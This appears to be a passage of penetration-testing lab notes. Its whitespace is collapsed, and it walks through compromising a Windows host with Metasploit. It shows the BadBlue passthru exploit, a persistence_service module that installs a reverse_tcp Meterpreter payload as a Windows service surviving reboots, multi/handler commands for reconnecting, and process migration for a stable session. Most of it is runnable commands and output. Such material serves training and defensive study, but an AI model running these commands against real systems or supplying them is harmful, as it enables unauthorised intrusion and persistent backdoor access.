With the Administrator Meterpreter session, privilege escalation is not necessary.
Persistence
❗ In order to set up persistence, administrative privileges are required.
backgroundsearchplatform:windowspersistenceuseexploit/windows/local/persistence_serviceinfo# Description:# This Module will generate and upload an executable to a remote host, # next will make it a persistent service. It will create a new service # which will start the payload whenever the service is running. Admin # or system privilege is required.setpayloadwindows/meterpreter/reverse_tcpsetLPORT4444# use a different port than the other sessionsessionssetSESSION3run
Successful maintained access. Once the persistent backdoor is installed, it's going to continue to run (across restarts) as a service and a multi handler listening to a connection will receive a connection from the service.
Kill all MSF sessions
exit# Kill all sessionssessions-Ksessions# No active sessions.# Close msfconsoleexit
Regain access to the system
msfconsole-qusemulti/handleroptions# Set the options as specified for the PERSISTENCE_SERVICE Exploitsetpayloadwindows/meterpreter/reverse_tcpsetLHOSTeth1setLPORT4444run
80/tcpopenhttpBadBluehttpd2.7135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn445/tcpopenmicrosoft-ds?# RDP 3389 is disabled
Exploitation
useexploit/windows/http/badblue_passthrurun
sysinfoComputer:ATTACKDEFENSEOS:Windows2016+ (10.0 Build17763).Architecture:x64SystemLanguage:en_USDomain:WORKGROUPLoggedOnUsers:1Meterpreter:x86/windowsgetuidServerusername:ATTACKDEFENSE\Administrator# Get a stable Meterpreter sessionpgrepexplorermigrate3132